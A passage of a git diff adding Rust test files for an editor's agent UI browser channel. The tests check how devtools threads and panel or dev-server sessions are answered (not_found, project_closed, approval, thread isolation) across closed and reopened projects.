+    set_max_idle_retained_threads(0, cx);
+    stall_connections(&app, cx);
+    let created = start_create("/p/app", cx);
+    let [devtools] = retained_devtools_threads(&app, cx)[..] else {
+        panic!("one devtools thread, connecting");
+    };
+
+    cx.executor().advance_clock(CONNECT_TIMEOUT);
+    cx.run_until_parked();
+    let error = created
+        .borrow_mut()
+        .take()
+        .expect("answered at the timeout")
+        .expect_err("the agent never connected");
+    assert_eq!(start_failure_reason(&error), Some("timeout"), "{error:#}");
+
+    open_another_editor_thread(&mut app);
+    assert!(
+        !is_retained(&app, devtools),
+        "nobody waits on it any more: a connection that never comes is not kept forever"
+    );
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/devtools_threads_reopen.rs b/crates/agent_ui/src/browser_channel_tests/devtools_threads_reopen.rs
new file mode 100644
index 0000000..39f92f3
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/devtools_threads_reopen.rs
@@ -0,0 +1,314 @@
+// Story 055, task 18.1 (refine v3) — an empty devtools thread gone with its window answers
+// `not_found` (design.md §B3 "Empty thread gone with its window (v3)"). Requirements: R5.9, R5.6
+// (Q4, Q5). Found by 16.2's GUI proof: after the project was closed and reopened, the panel's
+// empty bound thread answered `agent_start_failed` (reason `no_agent_panel`) instead of
+// `not_found`, so the panel never took R5.8's path.
+//
+// An ADDITIONAL test file beside task 10.2's `browser_channel_tests/devtools_threads.rs` (that
+// file is left untouched). Wired INSIDE `src/browser_channel.rs` like the other devtools test
+// modules — it reuses `test_support`, which is private to `browser_channel` — so the test path
+// matches the Validation filter `cargo test -p agent_ui devtools_threads`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/devtools_threads_reopen.rs"]
+//     mod devtools_threads_reopen;
+//
+// Contract (design.md §B3): `ensure_loaded(thread_id, cx)` for a marked devtools thread with no
+// persisted mark (never sent a message) and no live conversation entity answers
+// `DevtoolsThreadError::NotFound` — decided BEFORE the window / agent-panel lookup, so it holds
+// whether the project is still closed, reopened in a window whose agent panel is not there yet
+// (the GUI case: `no_agent_panel` today), or reopened with an agent panel. A persisted devtools
+// thread and a live draft keep today's path.
+//
+// Seams used (all already exist): `crate::devtools_threads::{create, ensure_loaded,
+// is_devtools_of, DevtoolsThreadError, CONNECT_TIMEOUT}`; `ThreadMetadataStore::save` with a
+// `session_id` is the promotion trigger (as in 10.2's tests).
+//
+// Hostile halves first (R5.9 says WHICH threads are gone; both converses):
+//   - wrongly collapsed: a live empty draft in a window that is still open, a persisted devtools
+//     thread whose window closed (`project_closed`, not `not_found`), and the same persisted thread
+//     reopened (it loads — R5.6 — or fails to start, never `not_found`) all stay apart from the
+//     gone draft. "Any closed window means not_found" or "every unpromoted thread is not_found"
+//     both fail here;
+//   - wrongly split: the gone draft answers the SAME `not_found` whether no window holds its
+//     project, a window holds it without an agent panel, or a window holds it with one — a check
+//     placed after the window lookup answers three different things;
+//   - only then the benign case.
+
+use std::path::Path;
+use std::sync::Arc;
+use std::time::Duration;
+
+use acp_thread::StubAgentConnection;
+use fs::FakeFs;
+use gpui::{TestAppContext, WindowHandle};
+use project::Project;
+use workspace::MultiWorkspace;
+
+use super::test_support::*;
+use crate::browser_wire::ChannelError;
+use crate::devtools_threads::{CONNECT_TIMEOUT, DevtoolsThreadError};
+use crate::thread_metadata_store::{ThreadId, ThreadMetadataStore};
+
+mod seam {
+    use std::path::Path;
+
+    use anyhow::Result;
+    use gpui::TestAppContext;
+
+    use crate::browser_wire::ThreadInfo;
+
+    pub async fn create(root: &str, cx: &mut TestAppContext) -> Result<ThreadInfo> {
+        let task = cx.update(|cx| crate::devtools_threads::create(Path::new(root), cx));
+        cx.run_until_parked();
+        task.await
+    }
+
+    pub fn is_devtools_of(thread_id: &str, root: &str, cx: &mut TestAppContext) -> bool {
+        cx.update(|cx| crate::devtools_threads::is_devtools_of(thread_id, Path::new(root), cx))
+    }
+
+    /// `ensure_loaded`, settled: past [`crate::devtools_threads::CONNECT_TIMEOUT`] a load still
+    /// connecting has answered too, so the result is always decided when this returns.
+    pub async fn ensure_loaded(thread_id: &str, cx: &mut TestAppContext) -> Result<()> {
+        let task = cx.update(|cx| crate::devtools_threads::ensure_loaded(thread_id, cx));
+        cx.run_until_parked();
+        cx.executor()
+            .advance_clock(super::CONNECT_TIMEOUT + super::Duration::from_secs(1));
+        cx.run_until_parked();
+        task.await
+    }
+}
+
+/// What `ensure_loaded` answered, as the wire's code for it, with the error's text for messages.
+fn outcome(result: &anyhow::Result<()>) -> (&'static str, String) {
+    match result {
+        Ok(()) => ("ok", String::new()),
+        Err(error) => {
+            let text = format!("{error:#}");
+            let code = match error.downcast_ref::<DevtoolsThreadError>() {
+                Some(DevtoolsThreadError::NotFound { .. }) => "not_found",
+                Some(DevtoolsThreadError::ProjectClosed { .. }) => "project_closed",
+                Some(DevtoolsThreadError::AgentStartFailed { .. }) => "agent_start_failed",
+                None => "other",
+            };
+            (code, text)
+        }
+    }
+}
+
+fn assert_not_found(result: &anyhow::Result<()>, what: &str) {
+    let (code, text) = outcome(result);
+    assert_eq!(code, "not_found", "R5.9: {what}; answered {code} ({text})");
+    let error = result.as_ref().expect_err("an error");
+    let channel = error
+        .downcast_ref::<DevtoolsThreadError>()
+        .map(DevtoolsThreadError::channel_error);
+    assert_eq!(
+        channel,
+        Some(ChannelError::NotFound),
+        "the panel reads `error not_found` (R5.8): {what}"
+    );
+}
+
+fn thread_id_of(key: &str, cx: &mut TestAppContext) -> ThreadId {
+    cx.update(|cx| {
+        ThreadMetadataStore::global(cx)
+            .read(cx)
+            .entry_ids()
+            .find(|id| id.to_key_string() == key)
+            .unwrap_or_else(|| panic!("{key} is a known thread"))
+    })
+}
+
+/// The save the conversation makes when the first message goes out: the draft gains a session,
+/// and the devtools mark is persisted (R5.2).
+fn promote(key: &str, cx: &mut TestAppContext) {
+    let id = thread_id_of(key, cx);
+    cx.update(|cx| {
+        let store = ThreadMetadataStore::global(cx);
+        let mut metadata = store
+            .read(cx)
+            .entry(id)
+            .cloned()
+            .expect("metadata of a created thread");
+        metadata.session_id = Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+            "session-{key}"
+        )));
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+}
+
+/// Closes `win` the way closing the project's window does, and lets go of every handle the test
+/// held on it, so nothing outside the app keeps its agent panel (or the thread's view) alive.
+fn close(win: Win, cx: &mut TestAppContext) {
+    let mut win = win;
+    win.cx.update(|window, _| window.remove_window());
+    win.cx.run_until_parked();
+    drop(win);
+    cx.run_until_parked();
+}
+
+/// A window on `root` whose agent panel is not there (yet): what a reopened project looks like
+/// before its agent panel is restored — the GUI proof's `no_agent_panel`.
+async fn window_without_agent_panel(
+    fs: &Arc<FakeFs>,
+    root: &str,
+    cx: &mut TestAppContext,
+) -> WindowHandle<MultiWorkspace> {
+    let project = Project::test(fs.clone(), [Path::new(root)], cx).await;
+    let window = cx.add_window(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+    let workspace = window
+        .read_with(cx, |multi_workspace, _| multi_workspace.workspace().clone())
+        .expect("the window's workspace");
+    workspace.update(cx, |workspace, _| workspace.set_random_database_id());
+    cx.run_until_parked();
+    window
+}
+
+// ---- hostile: wrongly collapsed into "gone" ----------------------------------------------------
+
+#[gpui::test]
+async fn hostile_a_live_empty_draft_beside_a_gone_one_still_answers_its_thread(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let _web = window(&fs, "/p/web", Some(StubAgentConnection::new()), cx).await;
+    let gone = seam::create("/p/app", cx).await.expect("created in /p/app");
+    let live = seam::create("/p/web", cx).await.expect("created in /p/web");
+    close(app, cx);
+
+    // Both are empty, unpromoted devtools threads: only the window tells them apart.
+    let live_result = seam::ensure_loaded(&live.thread_id, cx).await;
+    let (code, text) = outcome(&live_result);
+    assert_eq!(
+        code, "ok",
+        "a live draft in an open window answers its thread, whatever another window did ({text})"
+    );
+    assert!(seam::is_devtools_of(&live.thread_id, "/p/web", cx));
+
+    let gone_result = seam::ensure_loaded(&gone.thread_id, cx).await;
+    assert_not_found(&gone_result, "the empty draft whose window closed");
+}
+
+#[gpui::test]
+async fn hostile_a_persisted_devtools_thread_whose_window_closed_is_project_closed_not_gone(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let used = seam::create("/p/app", cx).await.expect("used");
+    let empty = seam::create("/p/app", cx).await.expect("empty");
+    promote(&used.thread_id, cx);
+    close(app, cx);
+
+    // The persisted one survives its window: it is waiting for its project, not gone.
+    let used_result = seam::ensure_loaded(&used.thread_id, cx).await;
+    let (code, text) = outcome(&used_result);
+    assert_eq!(
+        code, "project_closed",
+        "a persisted devtools thread of a closed project keeps today's answer ({text})"
+    );
+    assert!(
+        text.contains("/p/app"),
+        "Q4: the error names the root: {text}"
+    );
+    // Its empty sibling, same window, same project, is gone.
+    let empty_result = seam::ensure_loaded(&empty.thread_id, cx).await;
+    assert_not_found(&empty_result, "the empty sibling of a persisted thread");
+}
+
+#[gpui::test]
+async fn hostile_a_persisted_devtools_thread_still_loads_after_its_project_reopens(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let used = seam::create("/p/app", cx).await.expect("used");
+    promote(&used.thread_id, cx);
+    close(app, cx);
+    let _again = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+
+    // R5.6: loaded into the reopened window (or, if its agent cannot start here, refused as
+    // `agent_start_failed`) — never answered as a thread that no longer exists.
+    let result = seam::ensure_loaded(&used.thread_id, cx).await;
+    let (code, text) = outcome(&result);
+    assert_ne!(
+        code, "not_found",
+        "a persisted devtools thread is never `not_found` because its window closed once ({text})"
+    );
+    assert!(seam::is_devtools_of(&used.thread_id, "/p/app", cx));
+}
+
+// ---- hostile: wrongly split — the same gone draft, three window states, one answer ----------
+
+#[gpui::test]
+async fn hostile_the_gone_draft_is_not_found_while_its_project_stays_closed(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let gone = seam::create("/p/app", cx).await.expect("created");
+    close(app, cx);
+
+    // Today: `project_closed` (no window holds /p/app).
+    let result = seam::ensure_loaded(&gone.thread_id, cx).await;
+    assert_not_found(&result, "no window holds the project any more");
+}
+
+#[gpui::test]
+async fn hostile_the_gone_draft_is_not_found_when_the_project_reopens_before_its_agent_panel(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let gone = seam::create("/p/app", cx).await.expect("created");
+    close(app, cx);
+    let _reopened = window_without_agent_panel(&fs, "/p/app", cx).await;
+
+    // Today: `agent_start_failed` with reason `no_agent_panel` — the 16.2 GUI finding.
+    let result = seam::ensure_loaded(&gone.thread_id, cx).await;
+    assert_not_found(
+        &result,
+        "the project reopened in a window with no agent panel yet",
+    );
+}
+
+#[gpui::test]
+async fn hostile_the_gone_draft_is_not_found_when_the_project_reopens_with_an_agent_panel(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let gone = seam::create("/p/app", cx).await.expect("created");
+    close(app, cx);
+    let _reopened = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+
+    // Today: the draft is loaded again from its metadata (or fails to start) — decided after the
+    // window lookup. R5.9 decides it before: the thread closed with its project, empty.
+    let result = seam::ensure_loaded(&gone.thread_id, cx).await;
+    assert_not_found(&result, "the project reopened with its agent panel");
+}
+
+// ---- benign -------------------------------------------------------------------------------------
+
+#[gpui::test]
+async fn a_live_draft_in_its_open_window_answers_its_thread(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let _app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let fresh = seam::create("/p/app", cx).await.expect("created");
+    let result = seam::ensure_loaded(&fresh.thread_id, cx).await;
+    let (code, text) = outcome(&result);
+    assert_eq!(code, "ok", "{text}");
+    assert!(seam::is_devtools_of(&fresh.thread_id, "/p/app", cx));
+}
diff --git a/crates/agent_ui/src/browser_channel_tests/panel_policy.rs b/crates/agent_ui/src/browser_channel_tests/panel_policy.rs
new file mode 100644
index 0000000..20ea4a7
--- /dev/null
+++ b/crates/agent_ui/src/browser_channel_tests/panel_policy.rs
@@ -0,0 +1,961 @@
+// Story 055, task 11.1 — the panel and dev-server session policy beside the extension's
+// (design.md §B4, Assumption A1, §Security "Thread isolation"). Requirements: R2.8, R5.4, R5.5,
+// R5.6, R5.7, R6.2, R6.3, R6.4, R6.5, R7.2, R7.5, R7.7 (Q4, Q5). Zeo's log lines (R9.1-R9.2) are
+// `devtools_logs.rs`. Wired INSIDE `src/browser_channel.rs`:
+//
+//     #[cfg(test)]
+//     #[path = "browser_channel_tests/panel_policy.rs"]
+//     mod panel_policy;
+//
+// Validation: `cargo test -p agent_ui browser_channel` — 045's approval/drive/status/stream tests
+// run under the same filter, which is how "045's tests included" is proved.
+// Fixtures and seams: `test_support` (045). Devtools threads are created through the panel's own
+// `create_thread`, so this file names no task-10 API.
+//
+// Hostile halves first:
+//   - R5.5, three ways a thread is "not yours", ONE answer: an editor thread of the SAME project, a
+//     devtools thread of ANOTHER project, and an id that exists nowhere all answer an identical
+//     `error not_found` (same JSON but the echoed id) — a distinct code or message for "exists but
+//     not yours" would reveal it; and nothing reaches the editor thread afterwards;
+//   - the converse: the panel's OWN devtools thread is reachable (subscribe → snapshot, send → sent);
+//   - R5.7: `subscribe { follow: true }` from a panel is `bad_request`, while the same message from
+//     an approved extension still follows (045 unchanged);
+//   - A1 applies to panels and dev servers ONLY: a 045 hello (no `kind`) still waits for approval;
+//   - project closed: every request but `hello` answers `project_closed`;
+//   - a dev-server session accepts `hello` and nothing else;
+//   - R5.6: subscribing to a PERSISTED devtools thread that is not loaded loads it (snapshot) and the
+//     editor's thread does not move; when loading fails the answer is `agent_start_failed`, never a
+//     `not_found` (which would tell the panel its own thread is gone, R5.8).
+// A persisted, never-loaded devtools thread is built in the stores directly: its metadata (with a
+// session, so not a draft) and its mark through `ThreadOrganizationStore::set_devtools_root`
+// (task 10.1) — the `persisted_devtools_thread()` helper is the one place that names them.
+//
+// Refine v2 (2026-10-15) adds, hostile halves first:
+//   - B4 "replaces 8.1's interim arm": a panel and a dev-server session never get `not_approved`
+//     for any non-hello request — while an extension still waiting for approval, and a session
+//     that has said no hello at all, still do (the rule must key on the hello's kind, not on
+//     "not an extension");
+//   - R7.7: `RevokeBrowserAccess` closes an approved AND a pending extension session, and leaves a
+//     panel and a dev-server session open and served;
+//   - R2.8: a dev-server hello gets exactly `welcome` (echoing the hello id) then ONE state —
+//     `project_open` for an open root, `project_closed` for a root no window holds;
+//   - an ARCHIVED devtools thread answers the same `not_found` as an editor thread, while its
+//     unarchived sibling stays reachable;
+//   - B3 Retention / B4 Eviction: retention cleanup evicting a subscribed idle devtools thread
+//     does not end the panel's stream (no `thread_closed`, no error): the thread is reloaded and
+//     the panel keeps sending to it, with the editor's active view unmoved — while an
+//     extension's stream on an evicted EDITOR thread still gets `thread_closed` and nothing
+//     reloads it.
+
+use std::path::PathBuf;
+
+use acp_thread::{AgentThreadEntry, StubAgentConnection};
+use gpui::{EntityId, TestAppContext, UpdateGlobal as _};
+use serde_json::{Value, json};
+use settings::SettingsStore;
+
+use super::test_support::*;
+
+fn dev_hello(root: &str) -> Value {
+    json!({
+        "v": 2, "kind": "hello", "id": "h",
+        "client": {
+            "kind": "dev_server", "root": root,
+            "app_url": "http://localhost:5173", "panel_url": "http://localhost:5174"
+        }
+    })
+}
+
+fn panel_hello(root: &str) -> Value {
+    json!({ "v": 2, "kind": "hello", "id": "h", "client": { "kind": "panel", "root": root } })
+}
+
+/// An announced dev server and a panel session for `root`; returns (announce, panel).
+fn connect_panel(root: &str, n: u64, win: &Win, cx: &mut TestAppContext) -> (Probe, Probe) {
+    let announce = open_session(n);
+    announce.handle(dev_hello(root), &win.app_state(), cx);
+    announce.drain(cx);
+    let panel = open_session(n + 1);
+    panel.handle(panel_hello(root), &win.app_state(), cx);
+    panel.drain(cx);
+    (announce, panel)
+}
+
+fn reply(msgs: &[Value], id: &str) -> Value {
+    msgs.iter()
+        .find(|m| m["id"] == id)
+        .cloned()
+        .unwrap_or_else(|| panic!("no reply to {id}: {msgs:?}"))
+}
+
+fn without_id(mut v: Value) -> Value {
+    if let Some(o) = v.as_object_mut() {
+        o.remove("id");
+    }
+    v
+}
+
+fn created_thread(panel: &Probe, win: &Win, cx: &mut TestAppContext) -> String {
+    panel.handle(
+        request("create_thread", "c", json!({})),
+        &win.app_state(),
+        cx,
+    );
+    let created = reply(&panel.drain(cx), "c");
+    assert_eq!(created["kind"], "created", "{created}");
+    created["thread"]["thread_id"]
+        .as_str()
+        .expect("a thread id")
+        .to_string()
+}
+
+fn user_messages(win: &Win) -> usize {
+    let thread = win.thread();
+    thread.read_with(&win.cx, |thread, _| {
+        thread
+            .entries()
+            .iter()
+            .filter(|e| matches!(e, AgentThreadEntry::UserMessage(_)))
+            .count()
+    })
+}
+
+#[gpui::test]
+async fn hostile_an_editor_thread_another_projects_thread_and_a_missing_id_get_one_identical_not_found(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let web = window(&fs, "/p/web", None, cx).await;
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string();
+    let (_web_announce, web_panel) = connect_panel("/p/web", 10, &web, cx);
+    let web_thread = created_thread(&web_panel, &web, cx);
+    let (_announce, panel) = connect_panel("/p/app", 20, &app, cx);
+    let editor_messages = user_messages(&app);
+
+    let mut answers = Vec::new();
+    for (n, id) in [
+        editor.as_str(),
+        web_thread.as_str(),
+        "00000000-0000-0000-0000-000000000000",
+    ]
+    .into_iter()
+    .enumerate()
+    {
+        let rid = format!("s{n}");
+        panel.handle(
+            request("subscribe", &rid, json!({ "target": { "thread_id": id } })),
+            &app.app_state(),
+            cx,
+        );
+        let answer = reply(&panel.drain(cx), &rid);
+        assert_eq!(answer["kind"], "error", "{answer}");
+        assert_eq!(answer["error"], "not_found", "{answer}");
+        assert_eq!(answer["fatal"], false);
+        answers.push(without_id(answer));
+    }
+    assert_eq!(
+        answers[0], answers[1],
+        "editor vs other project: indistinguishable"
+    );
+    assert_eq!(
+        answers[1], answers[2],
+        "other project vs missing: indistinguishable"
+    );
+    let text = serde_json::to_string(&answers).expect("json");
+    assert!(
+        !text.contains(&editor) && !text.contains(&web_thread),
+        "no id echoed back"
+    );
+
+    // Nothing reaches the editor thread after the refusals.
+    panel.handle(
+        request(
+            "send",
+            "m",
+            json!({ "text": "from the panel", "attachments": [] }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    let sent = reply(&panel.drain(cx), "m");
+    assert_eq!(sent["kind"], "error", "no thread is bound: {sent}");
+    assert_eq!(
+        user_messages(&app),
+        editor_messages,
+        "the editor thread got nothing"
+    );
+}
+
+#[gpui::test]
+async fn the_panels_own_devtools_thread_is_reachable(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let editor_messages = user_messages(&app);
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    let thread = created_thread(&panel, &app, cx);
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": thread } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    let snap = reply(&panel.drain(cx), "s");
+    assert_eq!(snap["kind"], "snapshot", "{snap}");
+    assert_eq!(snap["thread"]["thread_id"], json!(thread));
+    panel.handle(
+        request(
+            "send",
+            "m",
+            json!({ "text": "make it blue", "attachments": [] }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    let sent = reply(&panel.drain(cx), "m");
+    assert_eq!(sent["kind"], "sent", "R6.3: {sent}");
+    assert_eq!(
+        user_messages(&app),
+        editor_messages,
+        "it went to the devtools thread, not the editor's"
+    );
+    panel.handle(request("cancel", "x", json!({})), &app.app_state(), cx);
+    assert_eq!(reply(&panel.drain(cx), "x")["kind"], "ok", "R6.4");
+}
+
+#[gpui::test]
+async fn list_threads_lists_this_projects_devtools_threads_only(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let web = window(&fs, "/p/web", None, cx).await;
+    let editor = crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string();
+    let (_wa, web_panel) = connect_panel("/p/web", 10, &web, cx);
+    let other = created_thread(&web_panel, &web, cx);
+    let (_a, panel) = connect_panel("/p/app", 20, &app, cx);
+    let mine = created_thread(&panel, &app, cx);
+    panel.handle(
+        request("list_threads", "l", json!({})),
+        &app.app_state(),
+        cx,
+    );
+    let threads = reply(&panel.drain(cx), "l");
+    assert_eq!(threads["kind"], "threads");
+    let ids: Vec<&str> = threads["items"]
+        .as_array()
+        .expect("items")
+        .iter()
+        .filter_map(|t| t["thread_id"].as_str())
+        .collect();
+    assert_eq!(ids, vec![mine.as_str()], "R5.4: not {editor}, not {other}");
+}
+
+#[gpui::test]
+async fn hostile_follow_is_refused_to_a_panel_but_still_works_for_an_extension(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let (_a, panel) = connect_panel("/p/app", 1, &app, cx);
+    panel.handle(
+        request("subscribe", "f", json!({ "target": { "follow": true } })),
+        &app.app_state(),
+        cx,
+    );
+    let answer = reply(&panel.drain(cx), "f");
+    assert_eq!(answer["kind"], "error");
+    assert_eq!(answer["error"], "bad_request", "R5.7: {answer}");
+
+    let extension = open_session(9);
+    approve(&extension, &app.app_state(), cx);
+    extension.handle(
+        request("subscribe", "f", json!({ "target": { "follow": true } })),
+        &app.app_state(),
+        cx,
+    );
+    assert_eq!(
+        reply(&extension.drain(cx), "f")["kind"],
+        "snapshot",
+        "045 unchanged"
+    );
+}
+
+#[gpui::test]
+async fn hostile_only_panels_and_dev_servers_skip_approval(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", None, cx).await;
+    let notifications = app.notifications();
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app"), &app.app_state(), cx);
+    let got = kinds(&announce.drain(cx));
+    assert!(
+        got.contains(&"welcome".to_string()),
+        "A1: welcomed at once: {got:?}"
+    );
+    assert!(
+        !got.contains(&"approval_pending".to_string()),
+        "A1: no prompt: {got:?}"
+    );
+    let panel = open_session(2);
+    panel.handle(panel_hello("/p/app"), &app.app_state(), cx);
+    let got = kinds(&panel.drain(cx));
+    assert!(
+        got.contains(&"welcome".to_string()),
+        "A1: welcomed at once: {got:?}"
+    );
+    assert!(
+        !got.contains(&"approval_pending".to_string()),
+        "A1: no prompt: {got:?}"
+    );
+    assert_eq!(
+        app.notifications(),
+        notifications,
+        "no approval notification"
+    );
+
+    let extension = open_session(3);
+    extension.handle(hello("chrome", "never-approved"), &app.app_state(), cx);
+    let got = kinds(&extension.drain(cx));
+    assert!(
+        !got.contains(&"welcome".to_string()),
+        "a 045 hello (no kind) still waits for approval: {got:?}"
+    );
+}
+
+#[gpui::test]
+async fn hostile_while_the_project_is_closed_every_request_but_hello_is_project_closed(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let mut app = window(&fs, "/p/app", None, cx).await;
+    let _web = window(&fs, "/p/web", None, cx).await;
+    let app_state = app.app_state();
+    let (_announce, panel) = connect_panel("/p/app", 1, &app, cx);
+    app.cx.update(|window, _| window.remove_window());
+    app.cx.run_until_parked();
+    panel.drain(cx);
+    for (kind, extra) in [
+        ("list_threads", json!({})),
+        ("create_thread", json!({})),
+        ("subscribe", json!({ "target": { "thread_id": "t" } })),
+        ("send", json!({ "text": "x", "attachments": [] })),
+        ("cancel", json!({})),
+        ("authorize", json!({ "request_id": "q", "option_id": "o" })),
+    ] {
+        panel.handle(request(kind, kind, extra), &app_state, cx);
+        let answer = reply(&panel.drain(cx), kind);
+        assert_eq!(answer["error"], "project_closed", "{kind}: {answer}");
+        assert_eq!(answer["fatal"], false);
+    }
+    assert!(
+        !panel.closed(),
+        "R7.2: the session stays, ready for project_open"
+    );
+    let late = open_session(5);
+    late.handle(panel_hello("/p/app"), &app_state, cx);
+    let got = kinds(&late.drain(cx));
+    assert!(
+        got.contains(&"welcome".to_string()),
+        "hello is still answered while closed: {got:?}"
+    );
+}
+
+#[gpui::test]
+async fn a_dev_server_session_accepts_hello_and_nothing_else(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let announce = open_session(1);
+    announce.handle(dev_hello("/p/app"), &app.app_state(), cx);
+    announce.drain(cx);
+    for (kind, extra) in [
+        ("list_threads", json!({})),
+        ("create_thread", json!({})),
+        ("subscribe", json!({ "target": { "follow": true } })),
+    ] {
+        announce.handle(request(kind, kind, extra), &app.app_state(), cx);
+        let answer = reply(&announce.drain(cx), kind);
+        assert_eq!(answer["error"], "bad_request", "{kind}: {answer}");
+    }
+    assert!(
+        !announce.closed(),
+        "R9.3: a refused request keeps the session"
+    );
+}
+
+#[gpui::test]
+async fn hostile_a_panel_cannot_open_or_raise_zeo(cx: &mut TestAppContext) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
+    let (_a, panel) = connect_panel("/p/app", 1, &app, cx);
+    let thread = created_thread(&panel, &app, cx);
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": thread } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    panel.drain(cx);
+    panel.handle(request("open_in_zeo", "o", json!({})), &app.app_state(), cx);
+    let answer = reply(&panel.drain(cx), "o");
+    assert_eq!(answer["kind"], "error", "R7.5: {answer}");
+    assert_ne!(
+        crate::test_support::active_thread_id(&app.panel, &app.cx).to_key_string(),
+        thread,
+        "the editor did not switch to the devtools thread"
+    );
+}
+
+/// A devtools thread of `root` that exists only in the stores (saved with a session, marked),
+/// never opened in this run. Its agent is the window's own agent, or — with `unknown_agent` — an
+/// agent id no server provides, so loading it fails.
+fn persisted_devtools_thread(
+    win: &Win,
+    root: &str,
+    unknown_agent: Option<&'static str>,
+    cx: &mut TestAppContext,
+) -> String {
+    let thread_id = crate::thread_metadata_store::ThreadId::new();
+    let project = win
+        .workspace
+        .read_with(&win.cx, |workspace, _| workspace.project().clone());
+    let active = crate::test_support::active_thread_id(&win.panel, &win.cx);
+    cx.update(|cx| {
+        let store = crate::thread_metadata_store::ThreadMetadataStore::global(cx);
+        let own_agent = store
+            .read(cx)
+            .entry(active)
+            .map(|metadata| metadata.agent_id.clone())
+            .expect("the window's thread has metadata");
+        let agent = match unknown_agent {
+            Some(name) => name.into(),
+            None => own_agent,
+        };
+        let metadata = crate::thread_metadata_store::ThreadMetadata {
+            thread_id,
+            session_id: Some(agent_client_protocol::v2::schema::SessionId::new(format!(
+                "persisted-{}",
+                thread_id.to_key_string()
+            ))),
+            agent_id: agent,
+            title: Some("Persisted devtools thread".into()),
+            title_override: None,
+            updated_at: chrono::Utc::now(),
+            created_at: None,
+            interacted_at: None,
+            worktree_paths: project.read(cx).worktree_paths(cx),
+            archived: false,
+            remote_connection: None,
+        };
+        store.update(cx, |store, cx| store.save(metadata, cx));
+    });
+    cx.run_until_parked();
+    cx.update(|cx| {
+        crate::thread_organization::ThreadOrganizationStore::global(cx).update(cx, |store, cx| {
+            store
+                .set_devtools_root(thread_id, PathBuf::from(root), cx)
+                .expect("a saved thread can carry the mark");
+        })
+    });
+    cx.run_until_parked();
+    thread_id.to_key_string()
+}
+
+#[gpui::test]
+async fn subscribing_to_a_persisted_thread_loads_it_without_moving_the_editor(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(loadable_connection()), cx).await;
+    let persisted = persisted_devtools_thread(&app, "/p/app", None, cx);
+    let editor = app.thread().entity_id();
+    let (_a, panel) = connect_panel("/p/app", 1, &app, cx);
+    panel.handle(
+        request(
+            "subscribe",
+            "s",
+            json!({ "target": { "thread_id": persisted } }),
+        ),
+        &app.app_state(),
+        cx,
+    );
+    let snap = reply(&panel.drain(cx), "s");
+    assert_eq!(
+        snap["kind"], "snapshot",
+        "R5.6: loaded and subscribed: {snap}"
+    );
+    assert_eq!(snap["thread"]["thread_id"], json!(persisted));
+    assert_eq!(
+        app.thread().entity_id(),
+        editor,
+        "A2: the editor's view never moves"
+    );
+}
+
+#[gpui::test]
+async fn hostile_a_persisted_thread_that_fails_to_load_is_agent_start_failed_not_not_found(
+    cx: &mut TestAppContext,
+) {
+    init(cx);
+    let fs = shared_fs(cx).await;
+    let app = window(&fs, "/p/app", Some(StubAgentConnection::new()), cx).await;
